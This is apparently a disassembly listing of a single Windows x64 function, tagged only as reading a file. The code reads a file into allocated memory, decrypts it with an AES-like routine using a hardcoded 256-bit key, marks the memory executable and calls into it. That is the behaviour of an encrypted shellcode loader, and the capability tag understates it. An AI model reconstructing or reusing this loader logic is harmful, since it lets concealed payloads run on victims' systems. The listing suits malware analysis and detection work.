Function at 0x140002710
Capabilities:
Read file on windows

Disassembly:
jmp qword [sym.imp.msvcrt.dll_fclose]
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
lea rdx, section..rdata
call sub.msvcrt.dll_fopen
mov rbx, rax
test rax, rax
je 0x140002ba6
mov r8d, 2
xor edx, edx
mov rcx, rax
call sub.msvcrt.dll_fseek
mov rcx, rbx
call sub.msvcrt.dll_ftell
xor r8d, r8d
xor edx, edx
mov rcx, rbx
cdqe
mov qword [rbp - 0x48], rax
call sub.msvcrt.dll_fseek
mov rdx, qword [rbp - 0x48]
mov r9d, 4
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x1400027bc
mov r8, qword [rbp - 0x48]
mov r9, rbx
mov edx, 1
mov rcx, rax
call sub.msvcrt.dll_fread
mov rdi, qword [rbp - 0x48]
cmp rax, rdi
je 0x1400027d4
mov r8d, 0x8000
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rbx
lea rsp, [rbp + 8]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp 0x1400025b0
mov rcx, rbx
call 0x1400025b0
mov ecx, 0xf0
movabs rax, 0x62e92c5cb7c9186c
movabs rdx, 0x4285c2473417c5ac
mov qword [rbp - 0x20], rax
movabs rax, 0xe184c0adc6827167
mov qword [rbp - 0x18], rdx
movabs rdx, 0xc3d68c2b4e47bf32
mov qword [rbp - 8], rdx
mov qword [rbp - 0x10], rax
mov dword [0x140003030], 8
mov dword [0x140003040], 0xe
call sub.msvcrt.dll_malloc
lea rdx, [rbp - 0x20]
mov rdi, rax
mov r9, rax
lea rcx, [rax + 0x20]
mov r8b, byte [rdx]
add rax, 4
add rdx, 4
mov byte [rax - 4], r8b
mov r8b, byte [rdx - 3]
mov byte [rax - 3], r8b
mov r8b, byte [rdx - 2]
mov byte [rax - 2], r8b
mov r8b, byte [rdx - 1]
mov byte [rax - 1], r8b
cmp rax, rcx
jne 0x140002840
mov r10d, 8
lea r11, [rbp - 0x30]
lea rbx, [0x140004500]
mov al, byte [r9 + 0x1c]
mov r8b, byte [r9 + 0x1d]
mov r12d, r10d
mov cl, byte [r9 + 0x1e]
mov dl, byte [r9 + 0x1f]
mov byte [rbp - 0x30], al
mov byte [rbp - 0x2f], r8b
mov byte [rbp - 0x2e], cl
mov byte [rbp - 0x2d], dl
and r12d, 7
jne 0x140002908
mov byte [rbp - 0x2f], cl
mov rcx, r11
mov byte [rbp - 0x2e], dl
mov byte [rbp - 0x30], r8b
mov byte [rbp - 0x2d], al
call fcn.140002bc0
mov edx, r10d
sar edx, 3
cmp edx, 1
jne 0x1400028cc
mov byte [0x140003050], 1
jmp 0x1400028fd
mov byte [0x140003050], 2
dec edx
xor ecx, ecx
mov eax, 2
cmp dl, 1
je 0x1400028f3
shl eax, 8
dec edx
mov cl, 1
add eax, 2
cdqe
movzx eax, byte [rbx + rax]
jmp 0x1400028dc
test cl, cl
je 0x1400028fd
mov byte [0x140003050], al
mov eax, dword [0x140003050]
xor dword [rbp - 0x30], eax
jmp 0x140002917
cmp r12b, 4
jne 0x140002917
lea rcx, [rbp - 0x30]
call fcn.140002bc0
mov al, byte [r9]
xor eax, dword [rbp - 0x30]
inc r10
add r9, 4
mov byte [r9 + 0x1c], al
mov al, byte [r9 - 3]
xor al, byte [rbp - 0x2f]
mov byte [r9 + 0x1d], al
mov al, byte [r9 - 2]
xor al, byte [rbp - 0x2e]
mov byte [r9 + 0x1e], al
mov al, byte [r9 - 1]
xor al, byte [rbp - 0x2d]
mov byte [r9 + 0x1f], al
cmp r10, 0x3c
jne 0x14000287d
mov r13, rsi
lea rbx, [0x140004500]
mov rax, r13
mov rdx, qword [rbp - 0x48]
sub rax, rsi
cmp rax, rdx
jae 0x140002b76
mov qword [rbp - 0x58], rsp
lea r12, [rbp - 0x30]
xor edx, edx
mov rcx, r12
xor eax, eax
lea r8, [r13 + rdx]
mov r9b, byte [r8 + rax*4]
mov byte [rcx + rax], r9b
inc rax
cmp rax, 4
jne 0x140002984
inc rdx
add rcx, 4
cmp rdx, 4
jne 0x14000297d
mov r8d, 0xe
mov rdx, rdi
mov rcx, r12
mov r14d, 0xd
call fcn.140002640
lea rax, [rbp - 0x30]
mov qword [rbp - 0x50], rax
mov rcx, qword [rbp - 0x50]
call fcn.140002680
mov rcx, qword [rbp - 0x50]
xor r11d, r11d
call fcn.1400026d0
mov rcx, qword [rbp - 0x50]
mov r8d, r14d
mov rdx, rdi
mov r10, r12
call fcn.140002640
xor eax, eax
mov dl, byte [r10 + rax*4]
mov byte [rbp + rax - 0x38], dl
inc rax
cmp rax, 4
jne 0x1400029ea
movzx r8d, byte [rbp - 0x38]
movzx ecx, byte [rbp - 0x37]
movzx edx, byte [rbp - 0x36]
movzx eax, byte [rbp - 0x35]
lea r9d, [r8 + 0xe00]
lea r15d, [rcx + 0xb00]
movsxd r15, r15d
movsxd r9, r9d
mov r9b, byte [rbx + r9]
xor r9b, byte [rbx + r15]
lea r15d, [rdx + 0xd00]
movsxd r15, r15d
xor r9b, byte [rbx + r15]
lea r15d, [rax + 0x900]
movsxd r15, r15d
xor r9b, byte [rbx + r15]
lea r15d, [rcx + 0xe00]
mov byte [rbp - 0x34], r9b
lea r9d, [r8 + 0x900]
movsxd r15, r15d
movsxd r9, r9d
mov r9b, byte [rbx + r9]
xor r9b, byte [rbx + r15]
lea r15d, [rdx + 0xb00]
movsxd r15, r15d
xor r9b, byte [rbx + r15]
lea r15d, [rax + 0xd00]
movsxd r15, r15d
xor r9b, byte [rbx + r15]
lea r15d, [rcx + 0x900]
add ecx, 0xd00
mov byte [rbp - 0x33], r9b
lea r9d, [r8 + 0xd00]
movsxd r15, r15d
add r8d, 0xb00
movsxd r9, r9d
movsxd r8, r8d
mov r9b, byte [rbx + r9]
xor r9b, byte [rbx + r15]
lea r15d, [rdx + 0xe00]
add edx, 0x900
movsxd r15, r15d
movsxd rdx, edx
xor r9b, byte [rbx + r15]
lea r15d, [rax + 0xb00]
add eax, 0xe00
movsxd r15, r15d
cdqe
xor r9b, byte [rbx + r15]
mov byte [rbp - 0x32], r9b
movsxd r9, ecx
mov cl, byte [rbx + r8]
xor cl, byte [rbx + r9]
xor cl, byte [rbx + rdx]
xor cl, byte [rbx + rax]
xor eax, eax
mov byte [rbp - 0x31], cl
mov dl, byte [rbp + rax - 0x34]
mov byte [r10 + rax*4], dl
inc rax
cmp rax, 4
jne 0x140002af6
inc r11d
inc r10
cmp r11d, 4
jne 0x1400029e8
dec r14d
jne 0x1400029c1
lea r14, [rbp - 0x30]
mov rcx, r14
call fcn.140002680
mov rcx, r14
call fcn.1400026d0
mov rdx, rdi
xor r8d, r8d
mov rcx, r14
call fcn.140002640
xor edx, edx
xor eax, eax
lea rcx, [r13 + rdx]
mov r8b, byte [r12 + rax]
mov byte [rcx + rax*4], r8b
inc rax
cmp rax, 4
jne 0x140002b4b
inc rdx
add r12, 4
cmp rdx, 4
jne 0x140002b44
add r13, 0x10
mov rsp, qword [rbp - 0x58]
jmp 0x14000295d
xor eax, eax
lea r9, [rbp - 0x20]
mov r8d, 0x20
mov rcx, rsi
mov dword [rbp - 0x20], eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140002b94
call rsi
mov r8d, 0x8000
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
lea rsp, [rbp + 8]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret